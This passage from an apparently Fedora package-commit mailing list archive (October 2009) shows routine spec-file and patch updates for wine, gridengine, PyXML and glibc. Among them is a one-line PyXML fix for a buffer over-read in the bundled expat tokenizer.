 -  LDRPATH_INSTALL="-Wl,--rpath,\\\$\$ORIGIN/\`\$(RELPATH) \$(bindir) \$(libdir)\`"
 -                       LDRPATH_LOCAL="-Wl,--rpath,\\\$\$ORIGIN/\$(TOPOBJDIR)/libs/wine"
 +  LDRPATH_INSTALL=""
-+  LDRPATH_LOCAL=""
++                       LDRPATH_LOCAL=""
+ else
+-  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+-$as_echo_n "checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib... " >&6; }
++  as_ac_var=`$as_echo "ac_cv_cflags_-fPIC" | $as_tr_sh`
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC" >&5
++$as_echo_n "checking whether the compiler supports -fPIC " >&6; }
+ if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then :
+   $as_echo_n "(cached) " >&6
  else
-   as_ac_var=`$as_echo "ac_cv_cflags_-fPIC -Wl,-R,\\$ORIGIN/../lib" | $as_tr_sh`
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports -fPIC -Wl,-R,\$ORIGIN/../lib" >&5
+   ac_wine_try_cflags_saved=$CFLAGS
+-CFLAGS="$CFLAGS -fPIC -Wl,-R,\$ORIGIN/../lib"
++CFLAGS="$CFLAGS -fPIC"
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h.  */
+ int main(int argc, char *argv) { return 0; }


Index: wine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/wine.spec,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- wine.spec	13 Sep 2009 10:56:19 -0000	1.114
+++ wine.spec	30 Oct 2009 14:57:28 -0000	1.115
@@ -1,7 +1,7 @@
 %define no64bit 0
 Name:		wine
-Version:	1.1.29
-Release:	3%{?dist}
+Version:	1.1.32
+Release:	1%{?dist}
 Summary:	A Windows 16/32/64 bit emulator
 
 Group:		Applications/Emulators
@@ -47,17 +47,15 @@ Source300:      wine-mime-msi.desktop
 # explain how to use wine with pulseaudio
 # see http://bugs.winehq.org/show_bug.cgi?id=10495
 # and http://art.ified.ca/?page_id=40
-Patch400:       http://art.ified.ca/downloads/winepulse-0.30-configure.ac.patch
-Patch401:       http://art.ified.ca/downloads/winepulse-0.30.patch
-Patch402:        http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
+Patch400:       http://art.ified.ca/downloads/winepulse-0.32-configure.ac.patch
+Patch401:       http://art.ified.ca/downloads/winepulse-0.32.patch
+Patch402:       http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
 Source402:      README-FEDORA-PULSEAUDIO
 
 Patch1:         wine-rpath.patch
 
 # bugfix patches
-# fix steam regression http://bugs.winehq.org/show_bug.cgi?id=19916
-# upstream commit 70241904b9efacab9fb6c7d8701b1cfdb86f49f7
-Patch1000:      steam-regression.patch
+# none
 
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -112,6 +110,7 @@ BuildRequires:  dbus-devel hal-devel
 BuildRequires:  gnutls-devel
 BuildRequires:  pulseaudio-libs-devel
 BuildRequires:  gsm-devel
+BuildRequires:  openal-soft-devel
 
 # noarch
 Requires:       wine-common = %{version}-%{release}
@@ -299,6 +298,15 @@ Requires: wine-core = %{version}-%{relea
 %description oss
 This package adds an oss driver for wine.
 
+%package openal
+Summary: Openal support for wine
+Group: System Environment/Libraries
+Requires: wine-core = %{version}-%{release}
+
+%description openal
+This package adds an openal driver for wine.
+
+
 %prep
 %setup -q -n %{name}-%{version}-fe
 
@@ -307,8 +315,6 @@ This package adds an oss driver for wine
 %patch401 -p1
 %patch402 -p1
 
-%patch1000 -p1
-
 autoreconf
 
 %build
@@ -498,6 +504,9 @@ update-desktop-database &>/dev/null || :
 %post oss -p /sbin/ldconfig
 %postun oss -p /sbin/ldconfig
 
+%post openal -p /sbin/ldconfig
+%postun openal -p /sbin/ldconfig
+
 %files
 %defattr(-,root,root,-)
 # meta package
@@ -550,6 +559,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/fakedlls/*
 %{_libdir}/wine/cacls.exe.so
 %{_libdir}/wine/expand.exe.so
+%{_libdir}/wine/extrac32.exe.so
 %{_libdir}/wine/winhlp32.exe.so
 %{_libdir}/wine/msiexec.exe.so
 %{_libdir}/wine/net.exe.so
@@ -642,6 +652,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/dxgi.dll.so
 %{_libdir}/wine/eject.exe.so
 %{_libdir}/wine/faultrep.dll.so
+%{_libdir}/wine/fltlib.dll.so
 %{_libdir}/wine/fusion.dll.so
 %{_libdir}/wine/gdi32.dll.so
 %{_libdir}/wine/gdiplus.dll.so
@@ -817,7 +828,6 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/wintab32.dll.so
 %{_libdir}/wine/wintrust.dll.so
 %{_libdir}/wine/wnaspi32.dll.so
-%{_libdir}/wine/wow32.dll.so
 %{_libdir}/wine/ws2_32.dll.so
 %{_libdir}/wine/wsock32.dll.so
 %{_libdir}/wine/wtsapi32.dll.so
@@ -843,13 +853,10 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/winevdm.exe.so
 %{_libdir}/wine/ifsmgr.vxd.so
 %{_libdir}/wine/mmdevldr.vxd.so
-%{_libdir}/wine/mmsystem.dll16
 %{_libdir}/wine/monodebg.vxd.so
 %{_libdir}/wine/vdhcp.vxd.so
-%{_libdir}/wine/ver.dll16
 %{_libdir}/wine/user.exe16
 %{_libdir}/wine/vmm.vxd.so
-%{_libdir}/wine/wing.dll16
 %{_libdir}/wine/vnbt.vxd.so
 %{_libdir}/wine/vnetbios.vxd.so
 %{_libdir}/wine/vtdapi.vxd.so
@@ -857,12 +864,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/w32skrnl.dll.so
 %{_libdir}/wine/commdlg.dll16
 %{_libdir}/wine/gdi.exe16
-%{_libdir}/wine/setupx.dll16
-%{_libdir}/wine/system.drv16
-%{_libdir}/wine/toolhelp.dll16
-%{_libdir}/wine/winsock.dll16
 %{_libdir}/wine/wprocs.dll16
-%{_libdir}/wine/wineps16.drv16
 
 %{_libdir}/wine/avifile.dll16.so
 %{_libdir}/wine/comm.drv16.so
@@ -876,6 +878,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/krnl386.exe16
 %{_libdir}/wine/keyboard.drv16.so
 %{_libdir}/wine/lzexpand.dll16.so
+%{_libdir}/wine/mmsystem.dll16.so
 %{_libdir}/wine/mouse.drv16.so
 %{_libdir}/wine/msacm.dll16.so
 %{_libdir}/wine/msvideo.dll16.so
@@ -888,21 +891,29 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/olecli.dll16.so
 %{_libdir}/wine/olesvr.dll16.so
 %{_libdir}/wine/rasapi16.dll16.so
+%{_libdir}/wine/setupx.dll16.so
 %{_libdir}/wine/shell.dll16.so
 %{_libdir}/wine/sound.drv16.so
 %{_libdir}/wine/storage.dll16.so
 %{_libdir}/wine/stress.dll16.so
+%{_libdir}/wine/system.drv16.so
+%{_libdir}/wine/toolhelp.dll16.so
 %{_libdir}/wine/twain.dll16.so
 %{_libdir}/wine/typelib.dll16.so
+%{_libdir}/wine/ver.dll16.so
 %{_libdir}/wine/w32sys.dll16.so
 %{_libdir}/wine/win32s16.dll16.so
 %{_libdir}/wine/win87em.dll16.so
 %{_libdir}/wine/winaspi.dll16.so
 %{_libdir}/wine/windebug.dll16.so
+%{_libdir}/wine/wineps16.drv16.so
+%{_libdir}/wine/wing.dll16.so
 %{_libdir}/wine/winhelp.exe16.so
 %{_libdir}/wine/winnls.dll16.so
 %{_libdir}/wine/winoldap.mod16.so
+%{_libdir}/wine/winsock.dll16.so
 %{_libdir}/wine/wintab.dll16.so
+%{_libdir}/wine/wow32.dll.so
 %endif
 
 %files common
@@ -1030,7 +1041,22 @@ update-desktop-database &>/dev/null || :
 %defattr(-,root,root,-)
 %{_libdir}/wine/wineoss.drv.so
 
+%files openal
+%defattr(-,root,root,-)
+%{_libdir}/wine/openal32.dll.so
+
 %changelog
+* Tue Oct 27 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.32-1
+- version upgrade (#531358)
+- update winepulse
+
+* Mon Sep 28 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.30-1
+- version upgrade
+- openal support
+- drop steam regression patch
+
 * Sun Sep 13 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 1.1.29-3
 - patch for steam regression (upstream #19916)


--- steam-regression.patch DELETED ---


--- winepulse-0.30-configure.ac.patch DELETED ---


--- winepulse-0.30.patch DELETED ---



From orion at fedoraproject.org  Fri Oct 30 15:00:31 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 15:00:31 +0000 (UTC)
Subject: rpms/gridengine/devel .cvsignore,1.8,1.9 sources,1.10,1.11
Message-ID: <20091030150031.F3B4E11C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gridengine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10843

Modified Files:
	.cvsignore sources 
Log Message:
Re-add gridengine-ppc.tar.gz



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gridengine/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	29 Oct 2009 21:45:48 -0000	1.8
+++ .cvsignore	30 Oct 2009 15:00:31 -0000	1.9
@@ -1 +1,2 @@
 ge-V62u4_TAG-src.tar.gz
+gridengine-ppc.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gridengine/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	29 Oct 2009 21:45:48 -0000	1.10
+++ sources	30 Oct 2009 15:00:31 -0000	1.11
@@ -1 +1,2 @@
 a943d1dd5c8788b63995a2304a5f860e  ge-V62u4_TAG-src.tar.gz
+5ba34d534cdeda9afe74cd367cb51ce0  gridengine-ppc.tar.gz



From rrakus at fedoraproject.org  Fri Oct 30 15:00:45 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Fri, 30 Oct 2009 15:00:45 +0000 (UTC)
Subject: rpms/PyXML/F-11 PyXML-0.8.4-buffer-over-read.patch, NONE,
	1.1 PyXML.spec, 1.36, 1.37
Message-ID: <20091030150045.C52F411C00EA@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/PyXML/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11010

Modified Files:
	PyXML.spec 
Added Files:
	PyXML-0.8.4-buffer-over-read.patch 
Log Message:
Fix buffer over read

PyXML-0.8.4-buffer-over-read.patch:
 xmltok_impl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE PyXML-0.8.4-buffer-over-read.patch ---
--- PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c.cve3720
+++ PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c
@@ -1741,7 +1741,7 @@ PREFIX(updatePosition)(const ENCODING *e
                        const char *end,
                        POSITION *pos)
 {
-  while (ptr != end) {
+  while (ptr < end) {
     switch (BYTE_TYPE(enc, ptr)) {
 #define LEAD_CASE(n) \
     case BT_LEAD ## n: \


Index: PyXML.spec
===================================================================
RCS file: /cvs/extras/rpms/PyXML/F-11/PyXML.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- PyXML.spec	3 Mar 2009 08:30:07 -0000	1.36
+++ PyXML.spec	30 Oct 2009 15:00:44 -0000	1.37
@@ -1,12 +1,14 @@
 Summary: XML libraries for python
 Name: PyXML
 Version: 0.8.4
-Release: 14
+Release: 15%{?dist}
 Source: http://prdownloads.sourceforge.net/pyxml/PyXML-%{version}.tar.gz
 Patch0: PyXML-0.7.1-intern.patch
 Patch1: PyXML-0.8.4-cvs20041111-python2.4-backport.patch
 Patch2: PyXML-memmove.patch
 Patch3: PyXML-0.8.4-python2.6.patch
+Patch4: PyXML-0.8.4-buffer-over-read.patch
+
 License: MIT and Python and ZPLv1.0 and BSD
 Group: Development/Libraries
 Requires: python
@@ -42,6 +44,7 @@ programming interfaces and an interface 
 %patch1 -p1 -b .python2.4-backport
 %patch2 -p1
 %patch3 -p1
+%patch4 -p1 -b .buffer_over_read
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build  --with-xslt
@@ -62,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/python?.?/site-packages/_xmlplus
 
 %changelog
+* Fri Oct 30 2009 Roman Rakus <rrakus at redhat.com> - 0.8.4-15
+- Fix buffer over read
+
 * Tue Mar 03 2009 Caol?n McNamara <caolanm at redhat.com> - 0.8.4-14
 - Another 'as' hiding in Stylesheet.py -> as_
 



From rrakus at fedoraproject.org  Fri Oct 30 15:07:55 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Fri, 30 Oct 2009 15:07:55 +0000 (UTC)
Subject: rpms/PyXML/F-12 PyXML-0.8.4-buffer-over-read.patch, NONE,
	1.1 PyXML.spec, 1.37, 1.38
Message-ID: <20091030150756.04B7911C00EA@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/PyXML/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13605

Modified Files:
	PyXML.spec 
Added Files:
	PyXML-0.8.4-buffer-over-read.patch 
Log Message:
Fix buffer over read

PyXML-0.8.4-buffer-over-read.patch:
 xmltok_impl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE PyXML-0.8.4-buffer-over-read.patch ---
--- PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c.cve3720
+++ PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c
@@ -1741,7 +1741,7 @@ PREFIX(updatePosition)(const ENCODING *e
                        const char *end,
                        POSITION *pos)
 {
-  while (ptr != end) {
+  while (ptr < end) {
     switch (BYTE_TYPE(enc, ptr)) {
 #define LEAD_CASE(n) \
     case BT_LEAD ## n: \


Index: PyXML.spec
===================================================================
RCS file: /cvs/extras/rpms/PyXML/F-12/PyXML.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- PyXML.spec	24 Jul 2009 16:04:50 -0000	1.37
+++ PyXML.spec	30 Oct 2009 15:07:55 -0000	1.38
@@ -1,12 +1,14 @@
 Summary: XML libraries for python
 Name: PyXML
 Version: 0.8.4
-Release: 15
+Release: 16%{?dist}
 Source: http://prdownloads.sourceforge.net/pyxml/PyXML-%{version}.tar.gz
 Patch0: PyXML-0.7.1-intern.patch
 Patch1: PyXML-0.8.4-cvs20041111-python2.4-backport.patch
 Patch2: PyXML-memmove.patch
 Patch3: PyXML-0.8.4-python2.6.patch
+Patch4: PyXML-0.8.4-buffer-over-read.patch
+
 License: MIT and Python and ZPLv1.0 and BSD
 Group: Development/Libraries
 Requires: python
@@ -42,6 +44,7 @@ programming interfaces and an interface 
 %patch1 -p1 -b .python2.4-backport
 %patch2 -p1
 %patch3 -p1
+%patch4 -p1 -b .buffer_over_read
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build  --with-xslt
@@ -62,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/python?.?/site-packages/_xmlplus
 
 %changelog
+* Fri Oct 30 2009 Roman Rakus <rrakus at redhat.com> - 0.8.4-15
+- Fix buffer over read
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.4-15
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From awjb at fedoraproject.org  Fri Oct 30 15:20:18 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 15:20:18 +0000 (UTC)
Subject: rpms/wine/F-11 sources,1.81,1.82
Message-ID: <20091030152018.B814C11C0371@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18063/F-11

Modified Files:
	sources 
Log Message:
- add correct sources



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/sources,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- sources	30 Oct 2009 14:57:26 -0000	1.81
+++ sources	30 Oct 2009 15:20:15 -0000	1.82
@@ -0,0 +1 @@
+b598afe820bde7c33f5bd0ab62fb7dce  wine-1.1.32-fe.tar.bz2



From awjb at fedoraproject.org  Fri Oct 30 15:20:18 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 15:20:18 +0000 (UTC)
Subject: rpms/wine/F-12 sources,1.81,1.82
Message-ID: <20091030152018.BDEF911C0376@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18063/F-12

Modified Files:
	sources 
Log Message:
- add correct sources



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/sources,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- sources	30 Oct 2009 14:57:27 -0000	1.81
+++ sources	30 Oct 2009 15:20:17 -0000	1.82
@@ -0,0 +1 @@
+b598afe820bde7c33f5bd0ab62fb7dce  wine-1.1.32-fe.tar.bz2



From awjb at fedoraproject.org  Fri Oct 30 15:20:19 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 15:20:19 +0000 (UTC)
Subject: rpms/wine/devel .cvsignore,1.80,1.81 sources,1.81,1.82
Message-ID: <20091030152019.066D711C0494@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18063/devel

Modified Files:
	.cvsignore sources 
Log Message:
- add correct sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/.cvsignore,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- .cvsignore	30 Oct 2009 14:57:28 -0000	1.80
+++ .cvsignore	30 Oct 2009 15:20:18 -0000	1.81
@@ -0,0 +1 @@
+wine-1.1.32-fe.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/sources,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- sources	30 Oct 2009 14:57:28 -0000	1.81
+++ sources	30 Oct 2009 15:20:18 -0000	1.82
@@ -0,0 +1 @@
+b598afe820bde7c33f5bd0ab62fb7dce  wine-1.1.32-fe.tar.bz2



From awjb at fedoraproject.org  Fri Oct 30 15:22:29 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 15:22:29 +0000 (UTC)
Subject: rpms/wine/F-12 .cvsignore,1.80,1.81
Message-ID: <20091030152229.7111F11C029D@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18828/F-12

Modified Files:
	.cvsignore 
Log Message:
- cvsignore got messed up to



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-12/.cvsignore,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- .cvsignore	30 Oct 2009 14:57:27 -0000	1.80
+++ .cvsignore	30 Oct 2009 15:22:28 -0000	1.81
@@ -0,0 +1 @@
+wine-1.1.32-fe.tar.bz2



From awjb at fedoraproject.org  Fri Oct 30 15:22:29 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 15:22:29 +0000 (UTC)
Subject: rpms/wine/F-11 .cvsignore,1.80,1.81
Message-ID: <20091030152229.27D4011C00EA@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18828/F-11

Modified Files:
	.cvsignore 
Log Message:
- cvsignore got messed up to



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/F-11/.cvsignore,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- .cvsignore	30 Oct 2009 14:57:26 -0000	1.80
+++ .cvsignore	30 Oct 2009 15:22:28 -0000	1.81
@@ -0,0 +1 @@
+wine-1.1.32-fe.tar.bz2



From schwab at fedoraproject.org  Fri Oct 30 15:22:49 2009
From: schwab at fedoraproject.org (schwab)
Date: Fri, 30 Oct 2009 15:22:49 +0000 (UTC)
Subject: rpms/glibc/F-12 .cvsignore, 1.293, 1.294 glibc-fedora.patch, 1.327, 
	1.328 glibc.spec, 1.420, 1.421 import.log, 1.36, 1.37 sources,
	1.318, 1.319
Message-ID: <20091030152249.8EAA311C00EA@cvs1.fedora.phx.redhat.com>

Author: schwab

Update of /cvs/pkgs/rpms/glibc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19144/F-12

Modified Files:
	.cvsignore glibc-fedora.patch glibc.spec import.log sources 
Log Message:
2.10.90-27



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/.cvsignore,v
retrieving revision 1.293
retrieving revision 1.294
diff -u -p -r1.293 -r1.294
--- .cvsignore	19 Oct 2009 11:52:47 -0000	1.293
+++ .cvsignore	30 Oct 2009 15:22:46 -0000	1.294
@@ -1,2 +1,2 @@
-glibc-2.10-357-ga0902db-fedora.tar.bz2
-glibc-2.10-357-ga0902db.tar.bz2
+glibc-2.10-405-g3a83202-fedora.tar.bz2
+glibc-2.10-405-g3a83202.tar.bz2

glibc-fedora.patch:
 ChangeLog                                      |   50 +--
 ChangeLog.15                                   |   37 ++
 ChangeLog.16                                   |   25 +
 Makeconfig                                     |    6 
 csu/Makefile                                   |    3 
 csu/elf-init.c                                 |   17 +
 debug/tst-chk1.c                               |    7 
 elf/ldconfig.c                                 |   25 +
 elf/tst-stackguard1.c                          |    8 
 include/bits/stdlib-ldbl.h                     |    1 
 include/bits/wchar-ldbl.h                      |    1 
 include/features.h                             |    9 
 intl/locale.alias                              |    2 
 libio/stdio.h                                  |    2 
 locale/iso-4217.def                            |   13 
 locale/programs/locarchive.c                   |   10 
 localedata/Makefile                            |    1 
 localedata/SUPPORTED                           |    6 
 localedata/locales/cy_GB                       |    7 
 localedata/locales/en_GB                       |    4 
 localedata/locales/no_NO                       |   69 ++++
 localedata/locales/zh_TW                       |    6 
 malloc/mcheck.c                                |   30 +-
 manual/libc.texinfo                            |    2 
 misc/sys/cdefs.h                               |   20 +
 nis/nss                                        |    2 
 nptl/ChangeLog                                 |   19 +
 nptl/Makefile                                  |   11 
 nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h  |    3 
 nptl/sysdeps/unix/sysv/linux/kernel-features.h |    6 
 nptl/tst-stackguard1.c                         |    8 
 nscd/nscd.conf                                 |    2 
 nscd/nscd.init                                 |   32 --
 posix/Makefile                                 |   15 -
 posix/getconf.speclist.h                       |   39 ++
 streams/Makefile                               |    2 
 sysdeps/generic/dl-cache.h                     |    8 
 sysdeps/i386/Makefile                          |   10 
 sysdeps/ia64/Makefile                          |    4 
 sysdeps/ia64/ia64libgcc.S                      |  350 -------------------------
 sysdeps/ia64/libgcc-compat.c                   |   84 ++++++
 sysdeps/powerpc/powerpc64/Makefile             |    1 
 sysdeps/unix/nice.c                            |    7 
 sysdeps/unix/sysv/linux/check_pf.c             |    5 
 sysdeps/unix/sysv/linux/dl-osinfo.h            |   29 ++
 sysdeps/unix/sysv/linux/fcntl.c                |   42 ---
 sysdeps/unix/sysv/linux/futimesat.c            |   23 -
 sysdeps/unix/sysv/linux/i386/bits/fcntl.h      |   25 -
 sysdeps/unix/sysv/linux/i386/clone.S           |    4 
 sysdeps/unix/sysv/linux/i386/dl-cache.h        |   59 ++++
 sysdeps/unix/sysv/linux/i386/fcntl.c           |   29 --
 sysdeps/unix/sysv/linux/ia64/bits/fcntl.h      |   25 -
 sysdeps/unix/sysv/linux/ia64/dl-cache.h        |   27 +
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.c     |    5 
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.h     |    5 
 sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed   |    2 
 sysdeps/unix/sysv/linux/kernel-features.h      |    5 
 sysdeps/unix/sysv/linux/netlinkaccess.h        |   18 +
 sysdeps/unix/sysv/linux/paths.h                |    2 
 sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h   |   25 -
 sysdeps/unix/sysv/linux/s390/bits/fcntl.h      |   25 -
 sysdeps/unix/sysv/linux/sh/bits/fcntl.h        |   25 -
 sysdeps/unix/sysv/linux/sparc/bits/fcntl.h     |   25 -
 sysdeps/unix/sysv/linux/tcsetattr.c            |   32 ++
 sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h    |   25 -
 sysdeps/unix/sysv/linux/x86_64/clone.S         |    4 
 timezone/zic.c                                 |    2 
 67 files changed, 711 insertions(+), 721 deletions(-)

Index: glibc-fedora.patch
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc-fedora.patch,v
retrieving revision 1.327
retrieving revision 1.328
diff -u -p -r1.327 -r1.328
--- glibc-fedora.patch	19 Oct 2009 11:52:47 -0000	1.327
+++ glibc-fedora.patch	30 Oct 2009 15:22:47 -0000	1.328
@@ -1,6 +1,29 @@
---- glibc-2.10-357-ga0902db/ChangeLog
-+++ glibc-2.10.90-26/ChangeLog
-@@ -44,17 +44,6 @@
+--- glibc-2.10-405-g3a83202/ChangeLog
++++ glibc-2.10.90-27/ChangeLog
+@@ -195,22 +195,6 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
+ 	* sysdeps/generic/netinet/ip.h: Define IPTOS_ENC* and IPTOS_DSCP*
+ 	macros.  Patch by Philip Prindeville <philipp at redfish-solutions.com>.
+ 
+-	[BZ #10840]
+-	* sysdeps/unix/sysv/linux/kernel-features.h: Define
+-	__ASSUME_F_GETOWN_EX.
+-	* sysdeps/unix/sysv/linux/fcntl.c: Implement F_GETOWN using F_GETOWN_EX
+-	if possible.
+-	* sysdeps/unix/sysv/linux/i386/fcntl.c: Likewise.
+-
+-	* sysdeps/unix/sysv/linux/sh/bits/fcntl.h: Define F_OWNER_*
+-	and f_owner_ex.
+-	* sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/sparc/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/ia64/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/i386/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/s390/bits/fcntl.h: Likewise.
+-
+ 	[BZ #10847]
+ 	* sysdeps/gnu/getutmp.c: Allow compatibility code to play around with
+ 	getutmpx symbol.
+@@ -298,17 +282,6 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
  	* locale/C-time.c: Revert week-1stday back to 19971130 and set
  	first_weekday to 1 and first_workday to 2.
  
@@ -18,7 +41,7 @@
  2009-09-28  Andreas Schwab  <schwab at redhat.com>
  
  	* stdio-common/printf_fp.c: Check for and avoid integer overflows.
-@@ -712,6 +701,11 @@
+@@ -966,6 +939,11 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
  	* sysdeps/generic/ldsodefs.h (struct rtld_global): The map element in
  	the unique symbol hash table should not be const.
  
@@ -30,7 +53,7 @@
  2009-07-21  Ulrich Drepper  <drepper at redhat.com>
  
  	* sysdeps/x86_64/multiarch/strstr.c: Minor cleanups.  Remove
-@@ -977,6 +971,11 @@
+@@ -1231,6 +1209,11 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
  	out common code into new function get_common_indeces. Determine
  	extended family and model for Intel processors.
  
@@ -42,7 +65,7 @@
  2009-06-26  Ulrich Drepper  <drepper at redhat.com>
  
  	* resolv/resolv.h: Define RES_SNGLKUPREOP.
-@@ -9670,6 +9669,10 @@
+@@ -9924,6 +9907,10 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
  	[BZ #4368]
  	* stdlib/stdlib.h: Remove obsolete part of comment for realpath.
  
@@ -53,7 +76,7 @@
  2007-04-16  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #4364]
-@@ -10927,6 +10930,15 @@
+@@ -11181,6 +11168,15 @@ d2009-10-30  Ulrich Drepper  <drepper at redhat.com>
  	separators also if no non-zero digits found.
  	* stdlib/Makefile (tests): Add tst-strtod3.
  
@@ -69,8 +92,8 @@
  2006-12-09  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #3632]
---- glibc-2.10-357-ga0902db/ChangeLog.15
-+++ glibc-2.10.90-26/ChangeLog.15
+--- glibc-2.10-405-g3a83202/ChangeLog.15
++++ glibc-2.10.90-27/ChangeLog.15
 @@ -477,6 +477,14 @@
  
  2004-11-26  Jakub Jelinek  <jakub at redhat.com>
